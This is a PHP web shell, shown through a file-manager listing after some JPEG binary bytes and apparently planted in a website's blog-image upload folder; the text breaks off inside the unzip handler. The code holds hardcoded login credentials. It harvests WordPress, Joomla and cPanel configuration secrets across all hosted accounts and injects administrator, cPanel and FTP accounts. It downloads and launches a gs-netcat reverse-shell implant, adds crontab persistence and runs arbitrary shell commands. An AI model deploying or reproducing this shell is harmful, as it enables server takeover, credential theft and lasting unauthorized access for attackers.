JFIF    $         d d  7    * Z qn )ZP 0   !1 A "#a$2Qr   D8 a Ri [f  \m I ykI w0 c u F c Rı?lO7 к _f˓ [C $殷WF< _W ԣ s Kc ëI zyQy /_LK ℂ ;C",p F A : /] =H  ~ , l s / 9  ć: [=/#f ; ) x { ٛE Q )~     = 𘙲r*2~  a _V = '  ku m F  D } KYYC )( { * g& f `툪 r y ` = ^ c J. I ]( * `wq  1dđ #̩ ͑ 0  ; H ] u 搂 @:~ ו K L  N s h } O I R* 8 :2 ! lD JV o (  3 = M ( z Ȱ+i *N A  r6K n S l ) ! J J Ӂ* %  ݉?|D } d5: eP0 R; {$X' x F @ .ÊB {,WJ uQ ɲRI ;9 Q E琯 6 2fT .DU J ;*c  P A\IL Nj! J ۱+ O\ ͔ ] ޒ S߼ J ȧ c%A N ol  ՎprU L Zԛe r E2= X D Xg VQeӓ k y P7 U* o m Q I s ,K `) 6\G3t?pgjr m ۛجw luGt f  h 9uyP 0D;Uڽ"OXl i f $ ) &|ML 0 Z rm1 [ H XP l P R0  'G=i 2N +0 e 2 ]] 9 VT P  O׮ 7 h(F * 癈 ' = Q VZD F,d ߬ ~ T X G[ `le 69C R(!S2! P  < 0 x <     !1AQ "Raq 02Br #S CTb  ? Ζ "]mH5WR 7 k.ۛ ! } Q~ + yԏ z |@ T20 S~ K e k *zF f^2X *( @ 8 r ? C I uI|֓>^Ex LgNU Y+{.R Ѫ τV׸ YT D I 6 2 '8Y2  7'\T P.6 d &˦ @V q i  |8 -O Ε  ] ʔ U=   T L 8= ;6c |  !qfF3 a ů& ~$ l} 'NW U s$U k^S V : U# 6w +  +s &r+n ڐ   { @ 29 gL u " T Ù  M=6  (^ "7 r}=6Yݾ lC u hquymp Ǧ G jhs ǜNl ɻ} o 7 #S6 a w 4 !  OS  r D  5 7 % | ?x> L |  / nD 6?/8 w # [ ) L 7 +6〼T A T g   !  %5  Mm Z /c  -{1_Je "| ^$ 'O  & ޱմ < H vNqϡQ$ < 6 &Nݛ ֨tǻN (9 n ru~'όN sMG& ,uH Kw *Ī 5@  u6  BԒ  i YN * f 0 _ GhKW u  lT <nj- 0{  M L~ | /a v\ E = ?1 \ɟuq Ђ Y O a K ޡP q  $ H8o Q˼EV ~ k 0 h' L  Pp M -M"  m^ !6l nմ 쮝C U T . ! :vMǨb h ډ Vc r @񄞅~p   #   !1QAa q  ? AL0L  x LU 4 d ; x   " 16ad0 7.\ߋ 0  = P l v/ " c A Ay A|2pO8"d MV #1] = \ " ˡ ] k v I9 d ۓ & q ) ǐq E ꞅ v "P )q X  &Q  З non]я u ג./ ; gZ$ M QР 2M ]h ni 0  P $ێ 3CɏGjώy : m c # S_ l@ '_ \m|C 2`K _  1 cIvGc $? PCQ S+D ? K aײ k Fr b 8 ύ NEدg ĝ U 3  6 #Ik+ v  {ƒ v i ( ވ  ? a e)  X xy/*@Q Ǽ Ծ ) $ IWO l c G;  !i  k{ gOŀ L ('x  T rb $ w) R $ & N1E td U3Uȉ1p M"N* (DNy d96.(jQ)  X 5 c QɎMy W ?  Q *!R > 6=7)Xj 5`J ] e  8%t ! + ' ! 1Q 5   !1 AQaq ё #2 "0BRb ? G t^ ## .l lQ T $  v , ,m   㵜5u bV  =sY+ @d { N ! dn O < .- B;  _w J t 6;Q  Jd. Q c%p{ 1 ,sND dF H I0 Гo X ш  e黅X ۢ F :)[ F G X ƹ / w _c MeD   ,ʡc c .  W D  tA $ j@ : ) - # u c1< @ۗ9F ) KJ- hpP] _ x [ q B lb p ʖ w q " LFGd ƶ * s +ډ_Zc " ? % t[I P  6 J ]# =ɺ V v v CGs Gh1 > )6 |e y ? L ӣ m,4 G W Ui ` ] uJVo VDG< SB 6ϏQ @ TiU l y O U 0 kfV ~ ~}S Z @ *WU Ui ## ; s /[ = ! 7}" W N ] ' (L !  ~ y5 g9T̅J kbM' +s :S +B) v @ M  j e C f j E 0  Y\Qn z G 1 д~ W o{T 9?`  Rm yhsy3 !HAD ] m  c1 ~ 2 L  S u7x T ;j$ `} 4-> L#  vzŏ I L S  ֭  T { r  jGK C ; b  pU= - ` Bs K. S F w4  M q] Z dH S 0 ) tLg Tiny File Manager | blog_6ab1c2d3ad4281.73047109.php
  • File: blog_6ab1c2d3ad4281.73047109.php
  • Full Path: /home/u322583024/domains/loveberi.com/public_html/admin/blog_img/blog_6ab1c2d3ad4281.73047109.php
  • File size: 77.07 KB
  • MIME-type: text/x-php
  • Charset: utf-8
<?php
/**
 *  ============================================================
 *   WEB FILE MANAGER  —  Professional Edition  v1.2
 *  ============================================================
 *   Author  : HackerAI
 *   Purpose : Authorized web-server management (pentest / admin)
 *
 *   Login credentials
 *     Username : admin
 *     Password : fakesmile1337
 *
 *   Features :
 *     - Secure session-based login (bcrypt) + CSRF protection
 *     - Filesystem directory explorer (tree sidebar / breadcrumbs)
 *     - File LOCK (protected from delete/rename/overwrite)
 *     - Upload, create, rename, delete, copy, move, edit, chmod,
 *       download, zip/unzip, terminal, search, server info
 *     - CMS AUTO CONFIG GRABBER (WordPress wp-config.php,
 *       Joomla configuration.php, cPanel)
 *     - ADD ADMIN: WordPress / Joomla / cPanel (WHM)
 *     - AUTO GSOCKET (install + reverse-shell implant)
 *     - AUTO CRONTAB (persistence)
 *  ============================================================
 */

error_reporting(E_ALL);
ini_set('display_errors', '0');
ini_set('max_execution_time', '300');
ini_set('memory_limit', '256M');
@set_time_limit(300);

session_start();

/* ----------------------------- CONFIG ----------------------------- */
$CONFIG = [
    'username'   => 'admin',
    'password'   => '$2y$12$3ScPvWpOeIRimEsUstS0lOyeocVudfQxT53o.pm.Im7LTDOefTkXG', // bcrypt of fakesmile1337
    'start_dir'  => dirname(__FILE__),
    'hidden'     => ['.htaccess', '.htpasswd'],
    'ext_edit'   => ['php','php3','php4','php5','phtml','txt','html','htm','css','js','json','xml','yml','yaml','ini','conf','cfg','log','sql','md','sh','py','pl','rb','c','cpp','h','htaccess','env','ts','vue','jsx','tsx','twig','blade.php','shtml','cgi'],
];

define('START_DIR', rtrim(str_replace('\\', '/', realpath($CONFIG['start_dir']) ?: $CONFIG['start_dir']), '/'));
define('LOCK_FILE', START_DIR . '/.locks.json');

/* --------------------------- HELPERS ------------------------------- */
function h($s) { return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); }

function csrf_token() {
    if (empty($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(random_bytes(24)); }
    return $_SESSION['csrf'];
}
function csrf_ok() {
    return isset($_POST['csrf']) && hash_equals($_SESSION['csrf'] ?? '', $_POST['csrf']);
}

function human_size($b) {
    if (!is_numeric($b)) return '-';
    $u = ['B','KB','MB','GB','TB','PB'];
    $i = 0;
    while ($b >= 1024 && $i < 5) { $b /= 1024; $i++; }
    return round($b, 2) . ' ' . $u[$i];
}

function normalize_path($p) {
    $p = str_replace('\\', '/', $p);
    $p = '/' . ltrim($p, '/');
    $parts = [];
    foreach (explode('/', $p) as $seg) {
        if ($seg === '' || $seg === '.') continue;
        if ($seg === '..') { array_pop($parts); continue; }
        $parts[] = $seg;
    }
    return '/' . implode('/', $parts);
}

function safe_path($p) {
    if (!is_string($p) || $p === '') return false;
    $p = str_replace('\\', '/', $p);
    if ($p[0] !== '/') $p = '/' . $p;
    $p = normalize_path($p);
    if ($p === '/') return '/';
    $real = realpath($p);
    if ($real !== false) return $real;
    $dir = realpath(dirname($p));
    if ($dir === false) return false;
    return $p;
}

function current_dir() {
    $dir = (isset($_GET['dir']) && $_GET['dir'] !== '') ? (string)$_GET['dir'] : START_DIR;
    $abs = safe_path($dir);
    if ($abs === false || !is_dir($abs)) { $abs = START_DIR; }
    return rtrim($abs, '/') ?: '/';
}

function breadcrumbs($dir) {
    $dir = rtrim($dir, '/');
    if ($dir === '') $dir = '/';
    $parts = array_filter(explode('/', $dir));
    $out  = '<a href="?dir=' . urlencode('/') . '">/</a>';
    $acc  = '';
    foreach ($parts as $seg) {
        $acc .= '/' . $seg;
        $out .= '<span class="sep">/</span><a href="?dir=' . urlencode($acc) . '">' . h($seg) . '</a>';
    }
    return $out;
}

function flash($msg, $type = 'info') {
    $_SESSION['flash'][] = ['t' => $type, 'm' => $msg];
}
function render_flash() {
    if (empty($_SESSION['flash'])) return '';
    $html = '';
    foreach ($_SESSION['flash'] as $f) {
        $html .= '<div class="alert alert-' . $f['t'] . '">' . h($f['m']) . '</div>';
    }
    $_SESSION['flash'] = [];
    return $html;
}

function is_hidden($name) {
    global $CONFIG;
    return in_array($name, $CONFIG['hidden'], true) || strpos($name, '.') === 0;
}

function has_subdir($p) {
    if (!is_dir($p)) return false;
    foreach (scandir($p) as $n) {
        if ($n === '.' || $n === '..' || is_hidden($n)) continue;
        if (is_dir(rtrim($p, '/') . '/' . $n)) return true;
    }
    return false;
}

/* ---------------------- LOCK MANAGEMENT ---------------------------- */
function load_locks() {
    if (is_file(LOCK_FILE)) {
        $j = json_decode((string)file_get_contents(LOCK_FILE), true);
        return is_array($j) ? array_values(array_unique($j)) : [];
    }
    return [];
}
function save_locks($locks) {
    @file_put_contents(LOCK_FILE, json_encode(array_values(array_unique($locks)), JSON_PRETTY_PRINT));
}
function is_locked($abs) {
    return in_array($abs, load_locks(), true);
}
function is_locked_path($abs) {
    $abs = rtrim($abs, '/');
    foreach (load_locks() as $l) {
        if ($l === $abs || strpos($l, $abs . '/') === 0) return true;
    }
    return false;
}

/* --------------------- PHPPASS (WP / Joomla3) ---------------------- */
function phpass_hash($password) {
    $itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
    $random = '';
    if (is_readable('/dev/urandom') && ($fh = @fopen('/dev/urandom', 'rb'))) {
        $random = fread($fh, 6);
        fclose($fh);
    }
    if (strlen($random) < 6) {
        $random = '';
        $seed = microtime() . (function_exists('getmypid') ? getmypid() : '');
        for ($i = 0; $i < 3; $i++) { $seed = md5($seed . $password . $i); $random .= substr($seed, 0, 8); }
        $random = substr($random, 0, 6);
    }
    $encode = function ($input, $count) use ($itoa64) {
        $o = ''; $i = 0;
        do {
            $v = ord($input[$i++]);
            $o .= $itoa64[$v & 0x3f];
            if ($i < $count) $v |= ord($input[$i]) << 8;
            $o .= $itoa64[($v >> 6) & 0x3f];
            if ($i++ >= $count) break;
            if ($i < $count) $v |= ord($input[$i]) << 16;
            $o .= $itoa64[($v >> 12) & 0x3f];
            if ($i++ >= $count) break;
            $o .= $itoa64[($v >> 18) & 0x3f];
        } while ($i < $count);
        return $o;
    };
    $count_log2 = 8;
    $salt = $encode($random, 6);
    $setting = '$P$' . $itoa64[$count_log2 + 5] . $salt;
    $count = 1 << ($count_log2 + 5);
    $hash = md5($salt . $password, true);
    do { $hash = md5($hash . $password, true); } while (--$count);
    return $setting . $encode($hash, 16);
}

/* -------------------- CMS DETECTION / CONFIG ----------------------- */
function scan_roots() {
    $roots = [START_DIR, dirname(START_DIR), getcwd(), '/var/www', '/var/www/html', '/var/www/vhosts', '/usr/share/nginx/html', '/srv/www', '/srv/http'];
    foreach (glob('/home/*/public_html') as $d) $roots[] = $d;
    foreach (glob('/home/*/www') as $d) $roots[] = $d;
    foreach (glob('/home/*/public_html/*') as $d) $roots[] = $d;
    foreach (glob('/home/*/domains/*/public_html') as $d) $roots[] = $d;
    $roots = array_values(array_unique(array_filter(array_map(function($d){return rtrim($d,'/');}, $roots), function($d){ return @is_dir($d) && @is_readable($d); })));
    return $roots;
}

function find_wp_configs() {
    $found = [];
    foreach (scan_roots() as $root) {
        foreach (['wp-config.php', 'wordpress/wp-config.php', 'wp/wp-config.php', 'blog/wp-config.php'] as $rel) {
            $p = $root . '/' . $rel;
            if (@is_file($p) && @is_readable($p)) $found[] = $p;
        }
        foreach (glob($root . '/*/wp-config.php') as $p) $found[] = $p;
    }
    return array_values(array_unique($found));
}

function find_joomla_configs() {
    $found = [];
    foreach (scan_roots() as $root) {
        foreach (['configuration.php', 'joomla/configuration.php', 'site/configuration.php', 'administrator/../configuration.php'] as $rel) {
            $p = $root . '/' . $rel;
            if (@is_file($p) && @is_readable($p)) $found[] = $p;
        }
        foreach (glob($root . '/*/configuration.php') as $p) $found[] = $p;
    }
    return array_values(array_unique($found));
}

function parse_wp_config($path) {
    $c = @file_get_contents($path);
    if ($c === false) return null;
    $g = function ($key) use ($c) {
        if (preg_match("/define\s*\(\s*['\"]" . preg_quote($key, '/') . "['\"]\s*,\s*['\"]([^'\"]*)['\"]\s*\)/i", $c, $m)) return $m[1];
        if (preg_match("/define\s*\(\s*['\"]" . preg_quote($key, '/') . "['\"]\s*,\s*([^\)]*)\s*\)/i", $c, $m)) return trim($m[1]);
        return null;
    };
    $prefix = 'wp_';
    if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]*)[\'"]/', $c, $m)) $prefix = $m[1];
    return [
        'path'        => $path,
        'DB_NAME'     => $g('DB_NAME'),
        'DB_USER'     => $g('DB_USER'),
        'DB_PASSWORD' => $g('DB_PASSWORD'),
        'DB_HOST'     => $g('DB_HOST'),
        'prefix'      => $prefix,
        'AUTH_KEY'    => $g('AUTH_KEY'),
        'SECURE_AUTH_KEY' => $g('SECURE_AUTH_KEY'),
    ];
}

function parse_joomla_config($path) {
    $c = @file_get_contents($path);
    if ($c === false) return null;
    $g = function ($key) use ($c) {
        if (preg_match('/public\s+\$' . preg_quote($key, '/') . '\s*=\s*[\'"]([^\'"]*)[\'"]/', $c, $m)) return $m[1];
        return null;
    };
    return [
        'path'     => $path,
        'db'       => $g('db'),
        'user'     => $g('user'),
        'password' => $g('password'),
        'host'     => $g('host'),
        'dbprefix' => $g('dbprefix'),
        'secret'   => $g('secret'),
    ];
}

function joomla_version_hint($config_path) {
    $base = dirname($config_path);
    if (@is_file($base . '/libraries/src/Version.php')) return '4';
    if (@is_file($base . '/libraries/joomla/version/version.php')) return '3';
    return '3';
}

function detect_cpanel() {
    $info = ['installed' => false, 'version' => null, 'hostname' => null, 'main_ip' => null, 'whm' => false, 'root' => (function_exists('posix_getuid') && posix_getuid() === 0)];
    if (@is_dir('/usr/local/cpanel')) {
        $info['installed'] = true;
        $info['version']  = trim((string)@file_get_contents('/usr/local/cpanel/version'));
        $info['whm']      = @is_dir('/usr/local/cpanel/whostmgr');
        $info['hostname'] = function_exists('gethostname') ? gethostname() : null;
        if (function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))))) {
            $info['main_ip'] = trim((string)@shell_exec("awk -F= '/^ADDR/{print \$2}' /etc/wwwacct.conf 2>/dev/null"));
            $info['whmapi']  = @is_file('/usr/local/cpanel/bin/whmapi1');
        }
    }
    return $info;
}

/* --------------------- CMS ADMIN INJECTORS ------------------------- */
function wp_add_admin($wp, $username, $password, $email) {
    if (!class_exists('mysqli')) return 'ERROR: mysqli extension not available in this PHP runtime.';
    $mysqli = @new mysqli($wp['DB_HOST'], $wp['DB_USER'], $wp['DB_PASSWORD'], $wp['DB_NAME']);
    if ($mysqli->connect_error) return 'DB connect failed: ' . $mysqli->connect_error;
    $prefix = $mysqli->real_escape_string($wp['prefix']);
    $user   = $mysqli->real_escape_string($username);
    $email  = $mysqli->real_escape_string($email);
    $hash   = phpass_hash($password);
    $now    = date('Y-m-d H:i:s');
    $res = $mysqli->query("SELECT ID FROM {$prefix}users WHERE user_login='$user' LIMIT 1");
    if ($res && $res->num_rows > 0) {
        $id = (int)$res->fetch_assoc()['ID'];
        $mysqli->query("UPDATE {$prefix}users SET user_pass='$hash', user_email='$email' WHERE ID=$id");
        $msg = "User '$username' already existed (ID $id) — password reset to new value.";
    } else {
        $mysqli->query("INSERT INTO {$prefix}users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('$user','$hash','$user','$email','','$now',0,'$user')");
        $id  = (int)$mysqli->insert_id;
        $msg = "WordPress admin '$username' created (ID $id).";
    }
    $cap = "a:1:{s:13:\"administrator\";b:1;}";
    $mysqli->query("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES ($id, '{$prefix}capabilities', '$cap') ON DUPLICATE KEY UPDATE meta_value='$cap'");
    $mysqli->query("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES ($id, '{$prefix}user_level', '10') ON DUPLICATE KEY UPDATE meta_value='10'");
    $mysqli->close();
    return $msg . " (Login: /wp-login.php)";
}

function joomla_add_admin($joomla, $username, $password, $name, $email, $ver) {
    if (!class_exists('mysqli')) return 'ERROR: mysqli extension not available in this PHP runtime.';
    $mysqli = @new mysqli($joomla['host'], $joomla['user'], $joomla['password'], $joomla['db']);
    if ($mysqli->connect_error) return 'DB connect failed: ' . $mysqli->connect_error;
    $prefix = $mysqli->real_escape_string($joomla['dbprefix']);
    $user   = $mysqli->real_escape_string($username);
    $name   = $mysqli->real_escape_string($name);
    $email  = $mysqli->real_escape_string($email);
    $hash   = ($ver === '4') ? password_hash($password, PASSWORD_BCRYPT) : phpass_hash($password);
    $now    = date('Y-m-d H:i:s');
    $res = $mysqli->query("SELECT id FROM {$prefix}users WHERE username='$user' LIMIT 1");
    if ($res && $res->num_rows > 0) {
        $id = (int)$res->fetch_assoc()['id'];
        $mysqli->query("UPDATE {$prefix}users SET password='$hash', email='$email', block=0, activation='' WHERE id=$id");
        $msg = "User '$username' already existed (ID $id) — password reset.";
    } else {
        if ($ver === '4') {
            $sql = "INSERT INTO {$prefix}users (name, username, email, password, block, sendEmail, registerDate, lastvisitDate, activation, params, lastResetTime, resetCount, otpKey, otep, requireReset, authProvider) VALUES ('$name','$user','$email','$hash',0,0,'$now','$now','','{}','$now',0,'','',0,'')";
        } else {
            $sql = "INSERT INTO {$prefix}users (name, username, email, password, block, sendEmail, registerDate, lastvisitDate, activation, params, lastResetTime, resetCount, otpKey, otep, requireReset) VALUES ('$name','$user','$email','$hash',0,0,'$now','$now','','{}','$now',0,'','',0)";
        }
        if (!$mysqli->query($sql)) return 'Insert failed: ' . $mysqli->error;
        $id  = (int)$mysqli->insert_id;
        $msg = "Joomla super-user '$username' created (ID $id).";
    }
    $mysqli->query("INSERT INTO {$prefix}user_usergroup_map (user_id, group_id) VALUES ($id, 8) ON DUPLICATE KEY UPDATE group_id=8");
    $mysqli->close();
    return $msg . " (Login: /administrator)";
}

function cpanel_create_acct($domain, $username, $password, $plan) {
    if (!(function_exists('posix_getuid') && posix_getuid() === 0)) return 'ERROR: requires root (uid 0) access to create a cPanel account.';
    $bin = '/usr/local/cpanel/bin/whmapi1';
    if (!@is_file($bin)) return 'ERROR: whmapi1 binary not found (not a cPanel/WHM server).';
    $cmd = $bin . ' --output=json createacct username=' . escapeshellarg($username)
         . ' domain=' . escapeshellarg($domain)
         . ' password=' . escapeshellarg($password)
         . ($plan !== '' ? ' plan=' . escapeshellarg($plan) : '')
         . ' 2>&1';
    return shell_exec($cmd);
}

function cpanel_add_ftp($cpanel_user, $ftp_user, $ftp_pass, $dir) {
    $bin = '/usr/local/cpanel/bin/uapi';
    if (!@is_file($bin)) return 'ERROR: uapi binary not found.';
    $cmd = $bin . ' --user=' . escapeshellarg($cpanel_user)
         . ' Ftp add_ftp user=' . escapeshellarg($ftp_user)
         . ' pass=' . escapeshellarg($ftp_pass)
         . ' homedir=' . escapeshellarg($dir) . ' quota=0 2>&1';
    return shell_exec($cmd);
}

/* --------------------------- GSOCKET ------------------------------- */
function gsocket_install($secret, $kill_old = true) {
    if (!function_exists('shell_exec') || in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))))) {
        return 'ERROR: shell_exec disabled — cannot run GSocket.';
    }
    $arch = php_uname('m');
    $map = ['x86_64'=>'x86_64','amd64'=>'x86_64','aarch64'=>'aarch64','arm64'=>'aarch64','armv7l'=>'armv7l','armv6l'=>'armv7l','i386'=>'i686','i486'=>'i686','i586'=>'i686','i686'=>'i686'];
    $a = $map[$arch] ?? 'x86_64';
    $bin = dirname(__FILE__) . '/.gs-netcat';
    if (!@is_file($bin)) {
        $url = "https://github.com/hackerschoice/gsocket/releases/latest/download/gs-netcat_linux-{$a}";
        $dl = shell_exec('curl -fsSL ' . escapeshellarg($url) . ' -o ' . escapeshellarg($bin) . ' 2>&1 && chmod +x ' . escapeshellarg($bin) . ' 2>&1');
        if (!@is_file($bin)) return "Download failed.\nURL: $url\n$dl";
    }
    if ($kill_old) @shell_exec('pkill -f "gs-netcat -s" 2>/dev/null');
    $sec = escapeshellarg($secret);
    $pid = trim((string)shell_exec("nohup " . escapeshellarg($bin) . " -s $sec -i >/dev/null 2>&1 & echo \$!"));
    return "GSocket implant started (PID $pid).\n\nAttacker connects with:\n  gs-netcat -s $sec\n\nBinary: $bin (arch $a)";
}

/* --------------------------- CRONTAB ------------------------------- */
function cron_exec_allowed() {
    return function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))));
}
function crontab_list() {
    if (!cron_exec_allowed()) return 'ERROR: shell_exec disabled.';
    return shell_exec('crontab -l 2>&1');
}
function crontab_add($schedule, $cmd) {
    if (!cron_exec_allowed()) return 'ERROR: shell_exec disabled.';
    $schedule = preg_replace('/\s+/', ' ', trim($schedule));
    if (!preg_match('/^(@\w+|[0-9*,-\/ ]+)$/', $schedule)) return 'ERROR: invalid schedule.';
    $entry = $schedule . ' ' . trim($cmd);
    $out = shell_exec('(crontab -l 2>/dev/null; echo ' . escapeshellarg($entry) . ') | crontab - 2>&1');
    return ($out === null || $out === '') ? "Cron entry added:\n$entry" : "Cron output:\n$out";
}
function crontab_clear() {
    if (!cron_exec_allowed()) return 'ERROR: shell_exec disabled.';
    return shell_exec('crontab -r 2>&1') ?: 'Crontab cleared.';
}

/* --------------------------- AUTH ---------------------------------- */
if (isset($_POST['action']) && $_POST['action'] === 'logout') {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

$authed = !empty($_SESSION['auth']);

if (!$authed && isset($_POST['username'], $_POST['password'])) {
    $u = $_POST['username'];
    $p = $_POST['password'];
    if (hash_equals($CONFIG['username'], $u) && password_verify($p, $CONFIG['password'])) {
        $_SESSION['auth'] = true;
        session_regenerate_id(true);
        $authed = true;
    } else {
        $login_error = 'Invalid username or password.';
    }
}

/* ======================== ACTIONS (authed) ========================= */
if ($authed && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && csrf_ok()) {
    $dir = current_dir();
    $act = $_POST['action'];

    /* ---- UPLOAD ---- */
    if ($act === 'upload' && isset($_FILES['files'])) {
        $n = 0;
        foreach ((array)$_FILES['files']['name'] as $i => $name) {
            if ($_FILES['files']['error'][$i] !== UPLOAD_ERR_OK) continue;
            $name = basename($name);
            $dest = $dir . '/' . $name;
            if (move_uploaded_file($_FILES['files']['tmp_name'][$i], $dest)) $n++;
        }
        flash("Uploaded $n file(s).", $n ? 'success' : 'error');
        header('Location: ?dir=' . urlencode($dir)); exit;
    }

    /* ---- CREATE FILE / DIR ---- */
    if ($act === 'create') {
        $name = basename($_POST['name'] ?? '');
        $type = $_POST['type'] ?? 'file';
        if ($name === '' || $name === '.' || $name === '..') {
            flash('Invalid name.', 'error');
        } else {
            $target = $dir . '/' . $name;
            if ($type === 'dir') {
                if (!file_exists($target)) { mkdir($target, 0755, true) ? flash("Directory created: $name", 'success') : flash("Failed to create directory.", 'error'); }
                else flash('Directory already exists.', 'error');
            } else {
                if (!file_exists($target)) { file_put_contents($target, '') !== false ? flash("File created: $name", 'success') : flash("Failed to create file.", 'error'); }
                else flash('File already exists.', 'error');
            }
        }
        header('Location: ?dir=' . urlencode($dir)); exit;
    }

    /* ---- SAVE EDITED FILE ---- */
    if ($act === 'save') {
        $p = safe_path($_POST['path'] ?? '');
        if ($p && is_file($p)) {
            if (is_locked($p)) {
                flash('File is locked. Unlock it before editing.', 'error');
            } elseif (is_writable($p)) {
                file_put_contents($p, $_POST['content'] ?? '') !== false
                    ? flash('File saved.', 'success')
                    : flash('Failed to save file.', 'error');
            } else {
                flash('File not writable.', 'error');
            }
        } else {
            flash('File missing.', 'error');
        }
        header('Location: ?dir=' . urlencode(dirname($p ?: $dir))); exit;
    }

    /* ---- DELETE ---- */
    if ($act === 'delete') {
        $deleted = 0; $skipped = [];
        foreach ((array)($_POST['items'] ?? []) as $it) {
            $p = safe_path($it);
            if (!$p || $p === '/') continue;
            if (is_locked_path($p)) { $skipped[] = $p; continue; }
            if (is_dir($p)) {
                $it2 = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($p, FilesystemIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::CHILD_FIRST
                );
                foreach ($it2 as $f) { $f->isDir() ? rmdir($f->getPathname()) : unlink($f->getPathname()); }
                rmdir($p);
            } else {
                unlink($p);
            }
            $deleted++;
        }
        if ($deleted) flash("Deleted $deleted item(s).", 'success');
        if ($skipped) flash('Locked item(s) skipped (protected): ' . implode(', ', $skipped), 'error');
        header('Location: ?dir=' . urlencode($dir)); exit;
    }

    /* ---- RENAME ---- */
    if ($act === 'rename') {
        $from = safe_path($_POST['from'] ?? '');
        $to   = basename($_POST['to'] ?? '');
        if ($from && $to) {
            if (is_locked_path($from)) {
                flash('Cannot rename: the item is locked.', 'error');
            } else {
                rename($from, dirname($from) . '/' . $to) ? flash('Renamed.', 'success') : flash('Rename failed.', 'error');
            }
        }
        header('Location: ?dir=' . urlencode($dir)); exit;
    }

    /* ---- COPY / MOVE ---- */
    if ($act === 'copy' || $act === 'move') {
        $dest = safe_path($_POST['dest'] ?? '');
        $items = (array)($_POST['items'] ?? []);
        $ok = 0; $skipped = [];
        if ($dest && is_dir($dest)) {
            foreach ($items as $it) {
                $src = safe_path($it);
                if (!$src || $src === '/') continue;
                if ($act === 'move' && is_locked_path($src)) { $skipped[] = $src; continue; }
                $dst = $dest . '/' . basename($src);
                if ($act === 'copy') {
                    if (is_dir($src)) {
                        $it2 = new RecursiveIteratorIterator(
                            new RecursiveDirectoryIterator($src, FilesystemIterator::SKIP_DOTS),
                            RecursiveIteratorIterator::SELF_FIRST
                        );
                        mkdir($dst, 0777, true);
                        foreach ($it2 as $f) {
                            $rel = substr($f->getPathname(), strlen($src));
                            $target = $dst . $rel;
                            $f->isDir() ? mkdir($target, 0777, true) : copy($f->getPathname(), $target);
                        }
                        $ok++;
                    } elseif (copy($src, $dst)) { $ok++; }
                } else {
                    if (rename($src, $dst)) $ok++;
                }
            }
        }
        flash(ucfirst($act) . " $ok item(s).", $ok ? 'success' : 'error');
        if ($skipped) flash('Locked item(s) skipped (protected): ' . implode(', ', $skipped), 'error');
        header('Location: ?dir=' . urlencode($dir)); exit;
    }

    /* ---- CHMOD ---- */
    if ($act === 'chmod') {
        $mode = intval($_POST['mode'] ?? '0755', 8);
        $items = (array)($_POST['items'] ?? []);
        $ok = 0;
        foreach ($items as $it) {
            $p = safe_path($it);
            if ($p) { if (@chmod($p, $mode)) $ok++; }
        }
        flash("chmod applied to $ok item(s).", $ok ? 'success' : 'error');
        header('Location: ?dir=' . urlencode($dir)); exit;
    }

    /* ---- LOCK / UNLOCK ---- */
    if ($act === 'lock' || $act === 'unlock') {
        $items = (array)($_POST['items'] ?? []);
        $locks = load_locks();
        $n = 0;
        foreach ($items as $it) {
            $p = safe_path($it);
            if (!$p || $p === '/') continue;
            if ($act === 'lock') {
                if (!in_array($p, $locks, true)) { $locks[] = $p; $n++; }
            } else {
                $before = count($locks);
                $locks = array_values(array_diff($locks, [$p]));
                $n += $before - count($locks);
            }
        }
        save_locks($locks);
        flash(($act === 'lock' ? 'Locked' : 'Unlocked') . " $n item(s).", $n ? 'success' : 'error');
        header('Location: ?dir=' . urlencode($dir)); exit;
    }

    /* ---- TERMINAL ---- */
    if ($act === 'cmd') {
        $cmd = $_POST['cmd'] ?? '';
        $cwd = $dir;
        if (function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))))) {
            $output = shell_exec('cd ' . escapeshellarg($cwd) . ' 2>/dev/null && ' . $cmd . ' 2>&1');
            $output = $output === null ? '' : $output;
        } elseif (function_exists('exec')) {
            $out = [];
            exec('cd ' . escapeshellarg($cwd) . ' 2>/dev/null && ' . $cmd . ' 2>&1', $out, $code);
            $output = implode("\n", $out);
        } else {
            $output = "ERROR: exec/shell_exec disabled. Command execution unavailable.";
        }
        $_SESSION['term_out'] = $output;
        header('Location: ?dir=' . urlencode($dir) . '#terminal'); exit;
    }

    /* ---- ZIP ---- */
    if ($act === 'zip') {
        $items = (array)($_POST['items'] ?? []);
        $zipName = basename($_POST['zipname'] ?: 'archive.zip');
        $zipFile = $dir . '/' . $zipName;
        if (class_exists('ZipArchive')) {
            $zip = new ZipArchive();
            if ($zip->open($zipFile, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
                foreach ($items as $it) {
                    $p = safe_path($it);
                    if (!$p) continue;
                    if (is_dir($p)) {
                        $it2 = new RecursiveIteratorIterator(
                            new RecursiveDirectoryIterator($p, FilesystemIterator::SKIP_DOTS),
                            RecursiveIteratorIterator::SELF_FIRST
                        );
                        foreach ($it2 as $f) {
                            $rel = basename($p) . '/' . substr($f->getPathname(), strlen($p) + 1);
                            if ($f->isDir()) $zip->addEmptyDir($rel);
                            else $zip->addFile($f->getPathname(), $rel);
                        }
                    } else {
                        $zip->addFile($p, basename($p));
                    }
                }
                $zip->close();
                flash("Archive created: $zipName", 'success');
            } else { flash('Zip failed.', 'error'); }
        } else { flash('ZipArchive not available.', 'error'); }
        header('Location: ?dir=' . urlencode($dir)); exit;
    }

    /* ---- UNZIP ---- */
    if ($act === 'unzip') {
        $p = safe_path($_POST['item'] ?? '');
        if ($p && is_file($p) && class_exists('ZipArchive')) {
            $zip = new ZipArchive();
            if ($zip->open($p) === true) {
